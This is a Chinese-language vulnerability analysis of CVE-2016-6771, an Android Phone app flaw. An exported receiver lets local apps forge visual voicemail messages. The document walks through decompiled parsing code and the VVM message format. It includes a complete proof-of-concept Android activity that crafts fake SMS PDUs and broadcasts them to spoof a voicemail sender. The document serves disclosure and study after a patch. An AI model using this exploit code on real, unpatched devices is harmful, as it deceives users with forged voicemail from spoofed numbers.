CVE-2016-6771： Android 语音信箱伪造漏洞分析

谷歌近期对外公布了12月份的安全公告，其中包含腾讯安全平台部终端安全团队提交的语音信箱伪造漏洞(CVE-2016-6771)，该漏洞可导致恶意应用进行伪造语音信箱攻击。目前谷歌已经发布补丁，本文将对该漏洞进行分析。

漏洞概述

Phone应用中存在一处未受保护的暴露组件com.android.phone.vvm.omtp.sms.OmtpMessageReceiver，该组件接收来自外部的Intent,解析承载的VVM协议，构造语音信箱。该漏洞可以被本地恶意应用触发，进行伪造语音信箱攻击。该漏洞属于比较常规的暴露组件问题。

漏洞详情

在对AOSP中系统应用进行分析时，发现系统应用TeleService.apk(com.android.phone)存在一处暴露组件，该组件为com.android.phone.vvm.omtp.sms.OmtpMessageReceiver。根据组件名字应该是处理某类消息的组件，回想起以前谷歌出现的短信伪造漏洞，于是决定尝试进行分析，看是否存在该类漏洞。

由于该组件是一个广播接收者，于是分析onReceive回调函数处理逻辑，代码如下：

public void onReceive(Contextcontext, Intentintent) { this.mContext = context; this.mPhoneAccount = PhoneUtils.makePstnPhoneAccountHandle(intent.getExtras().getInt("phone")); if(this.mPhoneAccount == null) { Log.w("OmtpMessageReceiver", "Received message for null phone account"); return; } if(!VisualVoicemailSettingsUtil.isVisualVoicemailEnabled(this.mContext, this.mPhoneAccount)) { Log.v("OmtpMessageReceiver", "Received vvm message for disabled vvm source."); return; } //开始解析intent，将intent承载的额外数据还原为SmsMessage（短信消息） SmsMessage[] v5 = Telephony$Sms$Intents.getMessagesFromIntent(intent); StringBuilderv3 = new StringBuilder(); int v0; //把短信消息的body提取出来并合并 for(v0 = 0; v0 < v5.length; ++v0) { if(v5[v0].mWrappedSmsMessage != null) { v3.append(v5[v0].getMessageBody()); } } //通过OmtpSmsParser.parse对短息消息的body（vvm协议）进行解析封装到对应处理类 WrappedMessageDatav4 = OmtpSmsParser.parse(v3.toString()); //根据不同的协议执行不同功能 if(v4 != null) { if(v4.getPrefix() == "//VVM:SYNC:") { SyncMessagev2 = new SyncMessage(v4); Log.v("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent()); LocalLogHelper.log("OmtpMessageReceiver", "Received SYNC sms for " + this.mPhoneAccount.getId() + " with event" + v2.getSyncTriggerEvent()); this.processSync(v2); } else if(v4.getPrefix() == "//VVM:STATUS:") { Log.v("OmtpMessageReceiver", "Received STATUS sms for " + this.mPhoneAccount.getId()); LocalLogHelper.log("OmtpMessageReceiver", "Received Status sms for " + this.mPhoneAccount.getId()); this.updateSource(new StatusMessage(v4)); } else { Log.e("OmtpMessageReceiver", "This should never have happened"); } } } 

1.当intent承载的额外数据phone为存在的PhoneAccount且isVisualVoicemailEnabled的时候，会进入vvm协议的解析流程；

2.解析流程中首先通过Telephony$Sms$Intents.getMessagesFromIntent，把intent里承载的额外数据构造成SmsMessage，通过查看对应处理方法,可以知道intent承载的额外数据可以是3gpp短信消息结构；

public static SmsMessage[] getMessagesFromIntent(Intentintent) { Object[] messages; try { //提取pdus原始数据 messages = (Object[]) intent.getSerializableExtra("pdus"); } catch (ClassCastException e) { Rlog.e(TAG, "getMessagesFromIntent: " + e); return null; } if (messages == null) { Rlog.e(TAG, "pdus does not exist in the intent"); return null; } //获取短消息格式类型 String format = intent.getStringExtra("format"); int subId = intent.getIntExtra(PhoneConstants.SUBSCRIPTION_KEY, SubscriptionManager.getDefaultSmsSubscriptionId()); Rlog.v(TAG, " getMessagesFromIntent sub_id : " + subId); int pduCount = messages.length; SmsMessage[] msgs = new SmsMessage[pduCount]; //构造短信消息 for (int i = 0; i < pduCount; i++) { byte[] pdu = (byte[]) messages[i]; msgs[i] = SmsMessage.createFromPdu(pdu, format); msgs[i].setSubId(subId); } return msgs; } 

3.从短信消息结构中提取出body部分，交由OmtpSmsParser.parse解析，流程如下：

package com.android.phone.vvm.omtp.sms; import android.util.ArrayMap; import android.util.Log; import java.util.Map; public class OmtpSmsParser { private static String TAG; static { OmtpSmsParser.TAG = "OmtpSmsParser"; } public OmtpSmsParser() { super(); } public static WrappedMessageDataparse(String smsBody) { WrappedMessageDatav4 = null; if(smsBody == null) { return v4; } WrappedMessageDatav0 = null; //短息消息需要满足前缀 if(smsBody.startsWith("//VVM:SYNC:")) { v0 = new WrappedMessageData("//VVM:SYNC:", OmtpSmsParser.parseSmsBody(smsBody.substring( "//VVM:SYNC:".length()))); if(v0.extractString("ev") == null) { Log.e(OmtpSmsParser.TAG, "Missing mandatory field: ev"); return v4; } } else if(smsBody.startsWith("//VVM:STATUS:")) { v0 = new WrappedMessageData("//VVM:STATUS:", OmtpSmsParser.parseSmsBody(smsBody.substring( "//VVM:STATUS:".length()))); } return v0; } //前缀之后需要满足的消息结构 private static MapparseSmsBody(String message) { ArrayMapv3 = new ArrayMap(); String[] v0 = message.split(";"); int v6 = v0.length; int v4; for(v4 = 0; v4 < v6; ++v4) { String[] v2 = v0[v4].split("="); if(v2.length == 2) { ((Map)v3).put(v2[0].trim(), v2[1].trim()); } } return ((Map)v3); } } 

通过分析解析流程，可以知道vvm协议由//VVM:STATUS或者//VVM:SYNC开头，后面有多个字段，由“；”分号作为分割，“=”等号作为键值对，通过分析StatusMessage(v4)，SyncMessage(v4)的构造函数

public SyncMessage(WrappedMessageDatawrappedData) { super(); this.mSyncTriggerEvent = wrappedData.extractString("ev"); this.mMessageId = wrappedData.extractString("id"); this.mMessageLength = wrappedData.extractInteger("l"); this.mContentType = wrappedData.extractString("t"); this.mSender = wrappedData.extractString("s"); this.mNewMessageCount = wrappedData.extractInteger("c"); this.mMsgTimeMillis = wrappedData.extractTime("dt"); } public StatusMessage(WrappedMessageDatawrappedData) { super(); this.mProvisioningStatus = wrappedData.extractString("st"); this.mStatusReturnCode = wrappedData.extractString("rc"); this.mSubscriptionUrl = wrappedData.extractString("rs"); this.mServerAddress = wrappedData.extractString("srv"); this.mTuiAccessNumber = wrappedData.extractString("tui"); this.mClientSmsDestinationNumber = wrappedData.extractString("dn"); this.mImapPort = wrappedData.extractString("ipt"); this.mImapUserName = wrappedData.extractString("u"); this.mImapPassword = wrappedData.extractString("pw"); this.mSmtpPort = wrappedData.extractString("spt"); this.mSmtpUserName = wrappedData.extractString("smtp_u"); this.mSmtpPassword = wrappedData.extractString("smtp_pw"); } 

可以知道，程序要解析vvm协议如下：

//VVM:STATUS:st=xxx;rc=0;rs=xxx;srv=xxx;tui=xxx;dn=xxx;ipt=xxx;u=xxx;pw=xxx;spt=xxx;smtp_u=xxx;smtp_pw=xxx

//VVM:SYNC:ev=xxx;id=xxx;l=xxx;t=xxx;s=xxx;c=xxx;dt=xxx;srv=xxx;ipt=xxx;u=xxx;pw=xxx

4.根据vvm协议，构造不同的数据结构，最后根据不同的协议执行不同的流程。

5.在测试过程中，发现//VVM:SYNC可以指定来源，伪造任意号码。而如果要在进入可视化语音邮箱界面，点击播放语音时能够产生语音的下载，需要事先有//VVM:STATUS协议，这样在点击播放时才会去对应的服务器进行账号登录，获取数据（具体的测试本人并深入去测试，如有错误望大家指正），相关vvm协议可以参考资料[1]和[2]。

POC如下 ：

构造一个短信消息结构，其中body为符合相关解析流程的//VVM协议，就可以让OmtpMessageReceiver根据外部intent承载的额外数据构造伪造的语音信箱。其中，较早版本的Android系统曾经出现过伪造短信的漏洞，直接利用那段代码[3]，构造短信消息可以。

@Override protected void onCreate(BundlesavedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); statusButton = (Button) findViewById(R.id.status_btn); syncButton = (Button) findViewById(R.id.sync_btn); statusButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(Viewview) { //VVM:STATUS消息 createFakeSms(MainActivity.this, "100000", "//VVM:STATUS:st=R;rc=0;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;lang=1|2|3|4;g_len=180;vs_len=10;pw_len=4-9"); } }); syncButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(Viewview) { //VVM:SYNC消息 createFakeSms(MainActivity.this, "100000", "//VVM:SYNC:ev=NM;c=1;t=v;s=12345678;dt=09/16/2016 10:53 -0400;l=7;srv=vvm.tmomail.net;ipt=143;u=0000000000@vms.eng.t-mobile.com;pw=BOQ8CAzzNcu;"); } }); } //构造短信消息 private static void createFakeSms(Contextcontext, String sender, String body) { byte[] pdu = null; byte[] scBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD("0000000000"); byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD(sender); int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendarcalendar = new GregorianCalendar(); dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) + 1)); dateBytes[2] = reverseByte((byte) (calendar.get(Calendar.DAY_OF_MONTH))); dateBytes[3] = reverseByte((byte) (calendar.get(Calendar.HOUR_OF_DAY))); dateBytes[4] = reverseByte((byte) (calendar.get(Calendar.MINUTE))); dateBytes[5] = reverseByte((byte) (calendar.get(Calendar.SECOND))); dateBytes[6] = reverseByte((byte) ((calendar.get(Calendar.ZONE_OFFSET) + calendar .get(Calendar.DST_OFFSET)) / (60 * 1000 * 15))); try { ByteArrayOutputStreambo = new ByteArrayOutputStream(); bo.write(lsmcs); bo.write(scBytes); bo.write(0x04); bo.write((byte) sender.length()); bo.write(senderBytes); bo.write(0x00); bo.write(0x00); // encoding: 0 for default 7bit bo.write(dateBytes); try { String sReflectedClassName = "com.android.internal.telephony.GsmAlphabet"; Class cReflectedNFCExtras = Class.forName(sReflectedClassName); MethodstringToGsm7BitPacked = cReflectedNFCExtras.getMethod( "stringToGsm7BitPacked", new Class[] { String.class }); stringToGsm7BitPacked.setAccessible(true); byte[] bodybytes = (byte[]) stringToGsm7BitPacked.invoke(null, body); bo.write(bodybytes); } catch (Exception e) { } pdu = bo.toByteArray(); } catch (IOException e) { } //构造待发送的intent Intentintent = new Intent(); intent.setClassName("com.android.phone", "com.android.phone.vvm.omtp.sms.OmtpMessageReceiver"); intent.putExtra("phone",0); intent.putExtra("pdus", new Object[] { pdu }); intent.putExtra("format", "3gpp"); context.sendBroadcast(intent); } private static byte reverseByte(byte b) { return (byte) ((b & 0xF0) >> 4 | (b & 0x0F) <<4); } 

实际效果

可以伪造语音信箱来源为12345678，欺骗用户

修复方案

谷歌的修复方案是设置该组件为不导出

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